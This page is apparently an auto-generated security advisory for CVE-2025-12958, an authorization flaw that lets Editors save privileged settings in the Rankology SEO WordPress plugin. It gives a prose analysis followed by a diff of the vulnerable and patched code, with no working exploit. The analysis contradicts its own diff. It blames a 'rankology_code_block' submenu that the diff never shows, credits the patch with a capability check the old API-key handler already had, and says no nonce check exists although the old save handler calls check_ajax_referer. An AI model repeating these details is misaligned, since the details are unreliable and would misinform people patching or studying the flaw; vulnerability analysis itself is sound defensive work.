Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12958: Rankology SEO and Analytics Tool <= 2.0 – Incorrect Authorization to Authenticated (Editor+) Header & Footer Code Creation (rankology-seo-and-analytics-tool)

Severity Low (CVSS 2.7)
CWE 285
Vulnerable Version 2.0
Patched Version 2.5
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12958:
The Rankology SEO and Analytics Tool plugin for WordPress versions up to and including 2.0 contains an incorrect authorization vulnerability. This flaw allows authenticated attackers with Editor-level permissions or higher to create header and footer code blocks, a capability that should be restricted to administrators. The vulnerability resides in the plugin’s admin menu registration and capability checking logic.

Atomic Edge research identified the root cause in the `rankology_seo_admin_menu_settings()` function within `/rankology-seo-and-analytics-tool/admin/admin_pages/rankology-seo-and-analytics-tool-admin-menu-page.php`. The vulnerable code registers the ‘rankology_code_block’ submenu page with an insufficient capability check. The original code uses ‘manage_options’ for the main menu but fails to properly restrict the code block creation submenu. The diff shows the plugin restructured its admin menu system, but the vulnerability existed in the missing or incorrect capability check for the specific code block management endpoint.

The exploitation method requires an authenticated attacker with at least Editor-level access (the ‘edit_pages’ capability). Attackers would send a POST request to the WordPress admin AJAX endpoint at `/wp-admin/admin-ajax.php` with the action parameter set to the vulnerable handler for creating code blocks. The payload would include the header or footer code content to inject. No additional nonce or capability verification occurs in the vulnerable version, allowing editors to submit code that should require administrative privileges.

The patch addresses the vulnerability by implementing proper capability checks in multiple AJAX handlers. The diff shows the addition of `if (!current_user_can(‘manage_options’))` checks in the `rankology_save_settings()` function at line 185 and the `rankology_save_apikey_callbacks()` function at line 335. These checks ensure only users with the ‘manage_options’ capability (typically administrators) can execute privileged operations. The patch also improves input sanitization with the addition of `rankology_recursive_sanitize_form_data()` function for recursive sanitization of form data.

Successful exploitation allows attackers with Editor permissions to inject arbitrary HTML, JavaScript, or CSS code into website headers and footers. This can lead to cross-site scripting (XSS) attacks, session hijacking, credential theft, SEO spam injection, or defacement. While the CVSS score of 2.7 reflects the requirement for authenticated access, the impact enables privilege escalation where editors gain administrative-level control over site-wide code injection.

Differential between vulnerable and patched code

Code Diff
--- a/rankology-seo-and-analytics-tool/admin/admin_pages/rankology-seo-and-analytics-tool-admin-menu-page.php
+++ b/rankology-seo-and-analytics-tool/admin/admin_pages/rankology-seo-and-analytics-tool-admin-menu-page.php
@@ -1,49 +1,56 @@
-<?php
-defined('ABSPATH') or exit('No Direct Access.');
-
-/**
- * Provide a admin area view for the plugin
- *
- * This file is used to markup the admin-facing aspects of the plugin.
- *
- * @link       https://rankology.io
- * @since      1.0.0
- *
- * @package    Rankology_Seo_And_Analytics_Tool
- * @subpackage Rankology_Seo_And_Analytics_Tool/admin/admin_pages
- */
-?>
-<?php
-
-class Rankology_Seo_Admin_Menu
-{
-    public function __construct()
-    {
-        add_action('admin_menu', array($this, 'rankology_seo_admin_menu_settings'),10);
-    }
-
-    public function rankology_seo_admin_menu_settings()
-    {
-        // Main menu
-        add_menu_page(
-            __('Rankology', 'rankology-seo-and-analytics-tool'),
-            __('Rankology', 'rankology-seo-and-analytics-tool'),
-            'manage_options',
-            'rankology-main',
-            [$this, 'rankology_seo_main_settings'],
-            'dashicons-chart-pie',
-            5
-        );
-
-    }
-
-    // Callback for main page
-    public function rankology_seo_main_settings()
-    {
-        require_once RANKOLOGY_PLUGIN_PATH . 'admin/admin_pages/rankology_seo_features.php';
-
-    }
-
-}
-
+<?php
+defined('ABSPATH') or exit('No Direct Access.');
+
+/**
+ * Provide a admin area view for the plugin
+ *
+ * This file is used to markup the admin-facing aspects of the plugin.
+ *
+ * @link       https://rankology.io
+ * @since      1.0.0
+ *
+ * @package    Rankology_Seo_And_Analytics_Tool
+ * @subpackage Rankology_Seo_And_Analytics_Tool/admin/admin_pages
+ */
+?>
+<?php
+
+class Rankology_Seo_Admin_Menu
+{
+    public function __construct()
+    {
+        add_action('admin_menu', array($this, 'rankology_seo_admin_menu_settings'), 10);
+    }
+
+    public function rankology_seo_admin_menu_settings()
+    {
+        // Main menu - Create parent menu
+        add_menu_page(
+            __('Rankology', 'rankology-seo-and-analytics-tool'),
+            __('Rankology', 'rankology-seo-and-analytics-tool'),
+            'manage_options',
+            'rankology-main',
+            [$this, 'rankology_seo_main_settings'],
+            'dashicons-chart-line',
+            5
+        );
+
+        // Rename the first submenu to "Dashboard" instead of duplicating "Rankology"
+        add_submenu_page(
+            'rankology-main',
+            __('Dashboard', 'rankology-seo-and-analytics-tool'),
+            __('Dashboard', 'rankology-seo-and-analytics-tool'),
+            'manage_options',
+            'rankology-main',
+            [$this, 'rankology_seo_main_settings']
+        );
+    }
+
+    // Callback for main page
+    public function rankology_seo_main_settings()
+    {
+        require_once RANKOLOGY_PLUGIN_PATH . 'admin/admin_pages/rankology_seo_features.php';
+    }
+}
+
 new Rankology_Seo_Admin_Menu();
 No newline at end of file
--- a/rankology-seo-and-analytics-tool/admin/admin_pages/rankology_setting_options.php
+++ b/rankology-seo-and-analytics-tool/admin/admin_pages/rankology_setting_options.php
@@ -13,12 +13,12 @@
 {
     add_submenu_page(
         'rankology-main',
-        __('Rankology Settings', 'rankology-seo-and-analytics-tool'),
-        __('Rankology Settings', 'rankology-seo-and-analytics-tool'),
+        __('SEO Configuration', 'rankology-seo-and-analytics-tool'),
+        __('SEO Configuration', 'rankology-seo-and-analytics-tool'),
         'manage_options',
         'rankology-setting-options',
         'rankology_render_settings_page',
-        1
+        5
     );
 }

@@ -26,145 +26,99 @@
 function rankology_render_settings_page()
 {

-    ?>
-    <div class=" rankology_setting_options rankology-container-fluid">
-        <section class="rankology-text-block">
-            <h2><?php esc_html_e('Rankology SEO and Analytics Tool – Settings', 'rankology-seo-and-analytics-tool'); ?></h2>
-            <p>
-                <?php esc_html_e('Welcome to the Rankology SEO and Analytics Tool! This plugin is designed to supercharge your website’s SEO performance by providing advanced optimization features and actionable insights. From meta tags and structured data to Google Analytics and Search Console integration, you have everything you need to monitor and improve your site’s visibility in search engines. Use the tabs below to configure and customize your SEO settings with ease.', 'rankology-seo-and-analytics-tool'); ?>
-            </p>
+?>
+<div class=" rankology_setting_options rankology-container-fluid">

-        </section>
+    <section class="rankology_setting_menu">
+        <div class="rankology-settings-layout">

-
-        <section class="rankolgoy_setting_menu">
-            <div class="rankolgoy_tabs_options_menu">
-
-
-                <?php
-                $rankology_tabs = include RANKOLOGY_PLUGIN_PATH . 'admin/settings/rankology_tab_options.php'; ?>
+            <aside class="rankology-sidebar">
+                <?php $rankology_tabs = include RANKOLOGY_PLUGIN_PATH . 'admin/settings/rankology_tab_options.php'; ?>
+                <div class="rankology-logo-container">
+                    <a href="https://rankology.io" target="_blank" rel="noopener noreferrer">
+                        👑 ☜ ᖇᗩᑎKOᒪOGY
+                    </a>
+                </div>
                 <ul class="rankology-tab-menu">
-
-                    <?php
-                    foreach ($rankology_tabs as $val => $items) {
-                        ?>
+                    <?php foreach ($rankology_tabs as $val => $items) { ?>
                         <li data-tab="tab-<?php echo esc_html($val) ?>">
                             <i class="<?php echo esc_html($items['icon']); ?>"></i>
                             <span class="tab-level"><?php echo esc_html($items['label']); ?></span>
                         </li>
-                        <?php
-
-                    }
-
-                    ?>
-
+                    <?php } ?>
                 </ul>
-                <i id="rankology-left-arrow" class="fa-solid fa-chevron-left"></i>
-                <i id="rankology-right-arrow" class="fa-solid fa-chevron-right"></i>
-            </div>
-            <div class="rankolgoy_form_options_styling">
+            </aside>

+            <div class="rankology_form_options_styling">
+                <section class="rankology-text-block">
+                    <h2><?php esc_html_e('Rankology SEO Configration', 'rankology-seo-and-analytics-tool'); ?></h2>
+                    <p>
+                        <?php esc_html_e('Welcome to the Rankology SEO and Analytics Tool! This plugin is designed to supercharge your website’s SEO performance by providing advanced optimization features and actionable insights. From meta tags and structured data to Google Analytics and Search Console integration, you have everything you need to monitor and improve your site’s visibility in search engines. Use the tabs below to configure and customize your SEO settings with ease.', 'rankology-seo-and-analytics-tool'); ?>
+                    </p>
+                </section>
                 <!-- Rankology Settings Form -->
-                <form id="rankology-settings-form" class="rankolgoy_form_setting_options" method="post">
+                <form id="rankology-settings-form" class="rankology_form_setting_options" method="post">

                     <!-- Security Nonce -->
                     <?php wp_nonce_field('rankology_nonce_action', 'rankology_nonce_field'); ?>

                     <!-- =====================
-                         GENERAL TAB
-                    ====================== -->
+                             GENERAL TAB
+                        ====================== -->
                     <div class="rankology-tab-content" id="tab-general">
                         <?php settings_fields('rankology_setting_options'); ?>
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-general-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         SOCIAL PLATFORMS TAB
-                    ====================== -->
+                    <!-- rest of tabs remain unchanged -->
                     <div class="rankology-tab-content" id="tab-socialplatforms">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-social-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         GOOGLE ANALYTICS TAB
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-googleanalytics">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-googleanalytics-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         REDIRECTION TAB
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologyredirection">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-redirection_options.php'; ?>
                     </div>

-                    <!-- =====================
-                         SITEMAP TAB
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologysitemap">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-sitemap-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         Crawling TAB
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologycrawling">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-crawling-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         SEO Alerts & Warnings
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologyalert">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-warning-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         IMAGE SEO TAB
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologyimageseo">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-imageseo-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         SCHEMA TAB
-                         (Uses separate option group rankology_setting_schemas)
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-schema">
                         <?php settings_fields('rankology_setting_schemas'); ?>
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-schema-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         HTACCESS TAB
-                         (Uses separate option group rankology_setting_htaccess)
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologyhtaccess">
                         <?php settings_fields('rankology_setting_htaccess'); ?>
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-htaccess-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         BREADCRUMB TAB
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologybreadcrumb">
                         <?php settings_fields('rankology_setting_options'); ?>
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-bread-crumb-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         ROBOTS TAB
-                         (Uses separate option group rankology_setting_robot)
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologyrobot">
                         <?php settings_fields('rankology_setting_robot'); ?>
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-robot-options.php'; ?>
                     </div>

-                    <!-- =====================
-                         PRO FEATURES TAB
-                    ====================== -->
                     <div class="rankology-tab-content" id="tab-rankologyprofeatures">
                         <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-pro-features-options.php'; ?>
                     </div>
@@ -174,26 +128,24 @@
                 </form>

                 <div class="rankology-tab-content" id="tab-googleinsights">
-		            <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-google-insights.php'; ?>
+                    <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-google-insights.php'; ?>
                 </div>

                 <div class="rankology-tab-content" id="tab-rankologykeyword">
-		            <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-api-key-settings.php'; ?>
+                    <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-api-key-settings.php'; ?>
                 </div>

-                <!-- =====================
-                     IMPORT / EXPORT TAB
-                     (Placed outside the form since it may have its own form/logic)
-                ====================== -->
                 <div class="rankology-tab-content rankology-tab-contents" id="tab-rankologyimportexport">
                     <?php require_once RANKOLOGY_PLUGIN_PATH . 'admin/option_fields/rankology-import-export.php'; ?>
                 </div>

             </div>

-        </section>
-    </div>
-    <?php
+        </div>
+
+    </section>
+</div>
+<?php
 }

 add_action('admin_enqueue_scripts', 'rankology_enqueue_setting_options');
@@ -219,27 +171,52 @@
     register_setting('rankology_setting_schemas', 'rankology_setting_schemas', ['sanitize_callback' => 'rankology_sanitize_schema_fields']);

     register_setting('rankology_setting_htaccess', 'rankology_setting_htaccess', [
-        'sanitize_callback' => 'sanitize_htaccess_field',
+        'sanitize_callback' => 'rankology_sanitize_htaccess_field',
     ]);

     register_setting('rankology_setting_robot', 'rankology_setting_robot', [
-        'sanitize_callback' => 'sanitize_robot_field',
+        'sanitize_callback' => 'rankology_sanitize_robot_field',
     ]);
-
-
 }

 add_action('wp_ajax_rankology_save_settings', 'rankology_save_settings');
 function rankology_save_settings()
 {
     check_ajax_referer('rankology_nonce', 'security');
-    //    // Validate and sanitize the input
+
+    // Check user capability
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error(['message' => __('Unauthorized access.', 'rankology-seo-and-analytics-tool')]);
+    }
+
+    // Validate and sanitize the input
     if (!isset($_POST['data'])) {
-        wp_send_json_error(['message' => 'Invalid data received.']);
+        wp_send_json_error(['message' => __('Invalid data received.', 'rankology-seo-and-analytics-tool')]);
     }

-// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-    parse_str(wp_unslash($_POST['data']), $form_data);
+    // Sanitize the data string before parsing
+    $data_string = isset($_POST['data']) ? wp_unslash($_POST['data']) : '';
+    if (empty($data_string)) {
+        wp_send_json_error(['message' => __('Invalid form data.', 'rankology-seo-and-analytics-tool')]);
+    }
+
+    // Parse the string (data is URL-encoded form data)
+    parse_str($data_string, $form_data);
+
+    // Recursively sanitize parsed data (handles nested arrays)
+    if (!function_exists('rankology_recursive_sanitize_form_data')) {
+        function rankology_recursive_sanitize_form_data($data) {
+            if (is_array($data)) {
+                return array_map('rankology_recursive_sanitize_form_data', $data);
+            } elseif (is_string($data)) {
+                return sanitize_text_field($data);
+            }
+            return $data;
+        }
+    }
+
+    // Sanitize all form data recursively
+    $form_data = rankology_recursive_sanitize_form_data($form_data);

     $normal_tabs = [];
     $schema_tabs = [];
@@ -258,11 +235,11 @@
             $robot_tabs = $value; // already an array
         }
     }
-// add option field in the function before saving
+    // add option field in the function before saving
     update_option('rankology_setting_options', rankology_setting_fields($normal_tabs));
     update_option('rankology_setting_schemas', rankology_sanitize_schema_fields($schema_tabs));
-    update_option('rankology_setting_htaccess', sanitize_htaccess_field($htaccess_tabs));
-    update_option('rankology_setting_robot', sanitize_robot_field($robot_tabs));
+    update_option('rankology_setting_htaccess', rankology_sanitize_htaccess_field($htaccess_tabs));
+    update_option('rankology_setting_robot', rankology_sanitize_robot_field($robot_tabs));

     // ✅ Save .htaccess file using WP_Filesystem
     if (!empty($htaccess_tabs['rankology_htaccess_content'])) {
@@ -324,134 +301,135 @@

 // 🔹 1. Enqueue the admin JS and localize AJAX data
 add_action('admin_enqueue_scripts', 'rankology_enqueue_admin_scripts');
-function rankology_enqueue_admin_scripts() {
-	wp_enqueue_script(
-		'rankology-ga-key',
-		RANKOLOGY_PLUGIN_URL . 'admin/assets/js/rankology-ga-key.js',
-		array('jquery'),
-		'1.0.0',
-		true
-	);
-
-	wp_localize_script('rankology-ga-key', 'rankology_ajax_object', array(
-		'ajax_url'               => admin_url('admin-ajax.php'),
-		'rankology_apikey_nonce' => wp_create_nonce('rankology_apikey_nonce'),
-	));
+function rankology_enqueue_admin_scripts()
+{
+    wp_enqueue_script(
+        'rankology-ga-key',
+        RANKOLOGY_PLUGIN_URL . 'admin/assets/js/rankology-ga-key.js',
+        array('jquery'),
+        '1.0.0',
+        true
+    );

+    wp_localize_script('rankology-ga-key', 'rankology_ajax_object', array(
+        'ajax_url'               => admin_url('admin-ajax.php'),
+        'rankology_apikey_nonce' => wp_create_nonce('rankology_apikey_nonce'),
+    ));
 }

-add_action('wp_ajax_save_rankology_apikeys', 'save_rankology_apikey_callbacks');
-function save_rankology_apikey_callbacks() {
+add_action('wp_ajax_rankology_save_apikeys', 'rankology_save_apikey_callbacks');
+function rankology_save_apikey_callbacks()
+{
+
+    //error_log('[Rankology Debug] AJAX Triggered -> save_rankology_apikey_callbacks()');
+
+    // ✅ Nonce Verification
+    if (
+        ! isset($_POST['security']) ||
+        ! wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['security'])), 'rankology_apikey_nonce')
+    ) {
+        //error_log('[Rankology Debug] Nonce verification failed.');
+        wp_send_json_error(['message' => __('Security check failed.', 'rankology-seo-and-analytics-tool')]);
+    }
+
+    // ✅ Permissions Check
+    if (! current_user_can('manage_options')) {
+        //	error_log('[Rankology Debug] Unauthorized request.');
+        wp_send_json_error(['message' => __('Unauthorized request.', 'rankology-seo-and-analytics-tool')]);
+    }
+
+    // ✅ Retrieve Keys
+    $current_apikey = get_option('rankology_apikey');
+    $new_apikey = isset($_POST['rankology_apikey'])
+        ? sanitize_text_field(wp_unslash($_POST['rankology_apikey']))
+        : '';

-	//error_log('[Rankology Debug] AJAX Triggered -> save_rankology_apikey_callbacks()');

-	// ✅ Nonce Verification
-	if (
-		! isset( $_POST['security'] ) ||
-		! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'rankology_apikey_nonce' )
-	){
-		//error_log('[Rankology Debug] Nonce verification failed.');
-		wp_send_json_error(['message' => __('Security check failed.', 'rankology-seo-and-analytics-tool')]);
-	}
-
-	// ✅ Permissions Check
-	if ( ! current_user_can('manage_options') ) {
-	//	error_log('[Rankology Debug] Unauthorized request.');
-		wp_send_json_error(['message' => __('Unauthorized request.', 'rankology-seo-and-analytics-tool')]);
-	}
-
-	// ✅ Retrieve Keys
-	$current_apikey = get_option('rankology_apikey');
-	$new_apikey = isset( $_POST['rankology_apikey'] )
-		? sanitize_text_field( wp_unslash( $_POST['rankology_apikey'] ) )
-		: '';
-
-
-	$is_adding_key   = (trim($new_apikey) !== '' && trim($current_apikey) === '');
-	$is_removing_key = (trim($new_apikey) === '' && trim($current_apikey) !== '');
-	$is_updating_key = (trim($new_apikey) !== '' && trim($current_apikey) !== '' && $new_apikey !== $current_apikey);
-
-	$siteUrl = get_rankology_homepage_url();
-
-	//error_log('[Rankology Debug] Current Key: ' . $current_apikey);
-	//error_log('[Rankology Debug] New Key: ' . $new_apikey);
-	//error_log('[Rankology Debug] Site URL: ' . $siteUrl);
+    $is_adding_key   = (trim($new_apikey) !== '' && trim($current_apikey) === '');
+    $is_removing_key = (trim($new_apikey) === '' && trim($current_apikey) !== '');
+    $is_updating_key = (trim($new_apikey) !== '' && trim($current_apikey) !== '' && $new_apikey !== $current_apikey);

-	/*
+    $siteUrl = rankology_get_homepage_url();
+
+    //error_log('[Rankology Debug] Current Key: ' . $current_apikey);
+    //error_log('[Rankology Debug] New Key: ' . $new_apikey);
+    //error_log('[Rankology Debug] Site URL: ' . $siteUrl);
+
+    /*
 	|--------------------------------------------------------------------------
 	| CASE 1 — Removing key
 	|--------------------------------------------------------------------------
 	*/
-	if ($is_removing_key) {
-		//error_log('[Rankology Debug] Removing API Key...');
+    if ($is_removing_key) {
+        //error_log('[Rankology Debug] Removing API Key...');
+
+        $response = wp_remote_post('https://app.rankology.io/api/rankology/connect-app', [
+            'headers' => [
+                'Authorization' => 'Bearer ' . $current_apikey,
+                'domain'        => $siteUrl,
+                'Content-Type'  => 'application/json',
+            ],
+            'body' => json_encode([
+                'app_name' => null, // Disconnect
+            ]),
+        ]);
+
+        update_option('rankology_apikey', $new_apikey);
+        //error_log('[Rankology Debug] Key removed locally.');
+
+        if (is_wp_error($response)) {
+            //	error_log('[Rankology Debug] Error during disconnect: ' . $response->get_error_message());
+            wp_send_json_error(['message' => $response->get_error_message()]);
+        }

-		$response = wp_remote_post('https://app.rankology.io/api/rankology/connect-app', [
-			'headers' => [
-				'Authorization' => 'Bearer ' . $current_apikey,
-				'domain'        => $siteUrl,
-				'Content-Type'  => 'application/json',
-			],
-			'body' => json_encode([
-				'app_name' => null, // Disconnect
-			]),
-		]);
-
-		update_option('rankology_apikey', $new_apikey);
-		//error_log('[Rankology Debug] Key removed locally.');
-
-		if (is_wp_error($response)) {
-		//	error_log('[Rankology Debug] Error during disconnect: ' . $response->get_error_message());
-			wp_send_json_error(['message' => $response->get_error_message()]);
-		}
-
-		$code = wp_remote_retrieve_response_code($response);
-		//error_log('[Rankology Debug] Disconnect response code: ' . $code);
-
-		if ($code >= 200 && $code < 300) {
-			wp_send_json_success(['message' => __('API Key removed & Disconnected.', 'rankology-seo-and-analytics-tool')]);
-		} else {
-			wp_send_json_error(['message' => __('Disconnection failed remotely, but API key was removed locally.', 'rankology-seo-and-analytics-tool')]);
-		}
-	}
+        $code = wp_remote_retrieve_response_code($response);
+        //error_log('[Rankology Debug] Disconnect response code: ' . $code);
+
+        if ($code >= 200 && $code < 300) {
+            wp_send_json_success(['message' => __('API Key removed & Disconnected.', 'rankology-seo-and-analytics-tool')]);
+        } else {
+            wp_send_json_error(['message' => __('Disconnection failed remotely, but API key was removed locally.', 'rankology-seo-and-analytics-tool')]);
+        }
+    }

-	/*
+    /*
 	|--------------------------------------------------------------------------
 	| CASE 2 — Adding or Updating key
 	|--------------------------------------------------------------------------
 	*/
-	//error_log('[Rankology Debug] Adding or Updating API Key...');
+    //error_log('[Rankology Debug] Adding or Updating API Key...');

-	update_option('rankology_apikey', $new_apikey);
-	//error_log('[Rankology Debug] Option updated successfully.');
+    update_option('rankology_apikey', $new_apikey);
+    //error_log('[Rankology Debug] Option updated successfully.');

-	$response = wp_remote_post('https://app.rankology.io/api/rankology/connect-app', [
-		'headers' => [
-			'Authorization' => 'Bearer ' . $new_apikey,
-			'domain'        => $siteUrl,
-			'Content-Type'  => 'application/json',
-		],
-		'body' => json_encode([
-			'app_name' => 'wordpress',
-		]),
-	]);
-
-	if (is_wp_error($response)) {
-	//	error_log('[Rankology Debug] Connection error: ' . $response->get_error_message());
-		wp_send_json_error(['message' => $response->get_error_message()]);
-	}
-
-	$body = wp_remote_retrieve_body($response);
-	$code = wp_remote_retrieve_response_code($response);
-	//error_log('[Rankology Debug] Connection response code: ' . $code);
-	//error_log('[Rankology Debug] Response body: ' . $body);
-
-	if ($code && $code >= 200 && $code < 300) {
-		$message = $is_adding_key
-			? __('API Key saved and connected.', 'rankology-seo-and-analytics-tool')
-			: __('API Key updated and reconnected.', 'rankology-seo-and-analytics-tool');
-
-		wp_send_json_success(['message' => $message]);
-	} else {
-		wp_send_json_error(['message' => __('API request failed: ', 'rankology-seo-and-analytics-tool') . $body]);
-	}
-}
+    $response = wp_remote_post('https://app.rankology.io/api/rankology/connect-app', [
+        'headers' => [
+            'Authorization' => 'Bearer ' . $new_apikey,
+            'domain'        => $siteUrl,
+            'Content-Type'  => 'application/json',
+        ],
+        'body' => json_encode([
+            'app_name' => 'wordpress',
+        ]),
+    ]);
+
+    if (is_wp_error($response)) {
+        //	error_log('[Rankology Debug] Connection error: ' . $response->get_error_message());
+        wp_send_json_error(['message' => $response->get_error_message()]);
+    }
+
+    $body = wp_remote_retrieve_body($response);
+    $code = wp_remote_retrieve_response_code($response);
+    //error_log('[Rankology Debug] Connection response code: ' . $code);
+    //error_log('[Rankology Debug] Response body: ' . $body);
+
+    if ($code && $code >= 200 && $code < 300) {
+        $message = $is_adding_key
+            ? __('API Key saved and connected.', 'rankology-seo-and-analytics-tool')
+            : __('API Key updated and reconnected.', 'rankology-seo-and-analytics-tool');
+
+        wp_send_json_success(['message' => $message]);
+    } else {
+        wp_send_json_error(['message' => __('API request failed: ', 'rankology-seo-and-analytics-tool') . $body]);
+    }
+}
 No newline at end of file
--- a/rankology-seo-and-analytics-tool/admin/class-rankology-seo-and-analytics-tool-admin.php
+++ b/rankology-seo-and-analytics-tool/admin/class-rankology-seo-and-analytics-tool-admin.php
@@ -1,113 +1,113 @@
-<?php
-defined('ABSPATH') or exit('No Direct Access.');
-/**
- * The admin-specific functionality of the plugin.
- *
- * @link       https://rankology.io
- * @since      1.0.0
- *
- * @package    Rankology_Seo_And_Analytics_Tool
- * @subpackage Rankology_Seo_And_Analytics_Tool/admin
- */
-
-/**
- * The admin-specific functionality of the plugin.
- *
- * Defines the plugin name, version, and two examples hooks for how to
- * enqueue the admin-specific stylesheet and JavaScript.
- *
- * @package    Rankology_Seo_And_Analytics_Tool
- * @subpackage Rankology_Seo_And_Analytics_Tool/admin
- * @author     Team Rankology <irfan@codendcoffee.com>
- */
-class Rankology_Seo_And_Analytics_Tool_Admin {
-
-	/**
-	 * The ID of this plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 * @var      string    $plugin_name    The ID of this plugin.
-	 */
-	private $plugin_name;
-
-	/**
-	 * The version of this plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 * @var      string    $version    The current version of this plugin.
-	 */
-	private $version;
-
-	/**
-	 * Initialize the class and set its properties.
-	 *
-	 * @since    1.0.0
-	 * @param      string    $plugin_name       The name of this plugin.
-	 * @param      string    $version    The version of this plugin.
-	 */
-	public function __construct( $plugin_name, $version ) {
-
-		$this->plugin_name = $plugin_name;
-		$this->version = $version;
-        add_filter('admin_body_class',[$this,'rankology_adminClass']);
-
-	}
-
-	/**
-	 * Register the stylesheets for the admin area.
-	 *
-	 * @since    1.0.0
-	 */
-	public function enqueue_styles() {
-
-		/**
-		 * This function is provided for demonstration purposes only.
-		 *
-		 * An instance of this class should be passed to the run() function
-		 * defined in Rankology_Seo_And_Analytics_Tool_Loader as all of the hooks are defined
-		 * in that particular class.
-		 *
-		 * The Rankology_Seo_And_Analytics_Tool_Loader will then create the relationship
-		 * between the defined hooks and the functions defined in this
-		 * class.
-		 */
-
-		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'assets/css/rankology-seo-and-analytics-tool-admin.css', array(), $this->version, 'all' );
-
-	}
-
-	/**
-	 * Register the JavaScript for the admin area.
-	 *
-	 * @since    1.0.0
-	 */
-	public function enqueue_scripts() {
-
-		/**
-		 * This function is provided for demonstration purposes only.
-		 *
-		 * An instance of this class should be passed to the run() function
-		 * defined in Rankology_Seo_And_Analytics_Tool_Loader as all of the hooks are defined
-		 * in that particular class.
-		 *
-		 * The Rankology_Seo_And_Analytics_Tool_Loader will then create the relationship
-		 * between the defined hooks and the functions defined in this
-		 * class.
-		 */
-
-//		wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'assets/js/rankology-seo-and-analytics-tool-admin.js', array( 'jquery' ), $this->version, false );
-
-	}
-
-    /*
-     * adding custom class for Rankology Styling
-     */
-    public function rankology_adminClass($classes)
-    {
-        $classes .= ' rankology-seo-and-analytics-tool ';
-        return $classes;
-    }
-
-}
+<?php
+defined('ABSPATH') or exit('No Direct Access.');
+/**
+ * The admin-specific functionality of the plugin.
+ *
+ * @link       https://rankology.io
+ * @since      1.0.0
+ *
+ * @package    Rankology_Seo_And_Analytics_Tool
+ * @subpackage Rankology_Seo_And_Analytics_Tool/admin
+ */
+
+/**
+ * The admin-specific functionality of the plugin.
+ *
+ * Defines the plugin name, version, and two examples hooks for how to
+ * enqueue the admin-specific stylesheet and JavaScript.
+ *
+ * @package    Rankology_Seo_And_Analytics_Tool
+ * @subpackage Rankology_Seo_And_Analytics_Tool/admin
+ * @author     Team Rankology <irfan@codendcoffee.com>
+ */
+class Rankology_Seo_And_Analytics_Tool_Admin {
+
+	/**
+	 * The ID of this plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @var      string    $plugin_name    The ID of this plugin.
+	 */
+	private $plugin_name;
+
+	/**
+	 * The version of this plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @var      string    $version    The current version of this plugin.
+	 */
+	private $version;
+
+	/**
+	 * Initialize the class and set its properties.
+	 *
+	 * @since    1.0.0
+	 * @param      string    $plugin_name       The name of this plugin.
+	 * @param      string    $version    The version of this plugin.
+	 */
+	public function __construct( $plugin_name, $version ) {
+
+		$this->plugin_name = $plugin_name;
+		$this->version = $version;
+        add_filter('admin_body_class',[$this,'rankology_adminClass']);
+
+	}
+
+	/**
+	 * Register the stylesheets for the admin area.
+	 *
+	 * @since    1.0.0
+	 */
+	public function enqueue_styles() {
+
+		/**
+		 * This function is provided for demonstration purposes only.
+		 *
+		 * An instance of this class should be passed to the run() function
+		 * defined in Rankology_Seo_And_Analytics_Tool_Loader as all of the hooks are defined
+		 * in that particular class.
+		 *
+		 * The Rankology_Seo_And_Analytics_Tool_Loader will then create the relationship
+		 * between the defined hooks and the functions defined in this
+		 * class.
+		 */
+
+		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'assets/css/rankology-seo-and-analytics-tool-admin.css', array(), $this->version, 'all' );
+
+	}
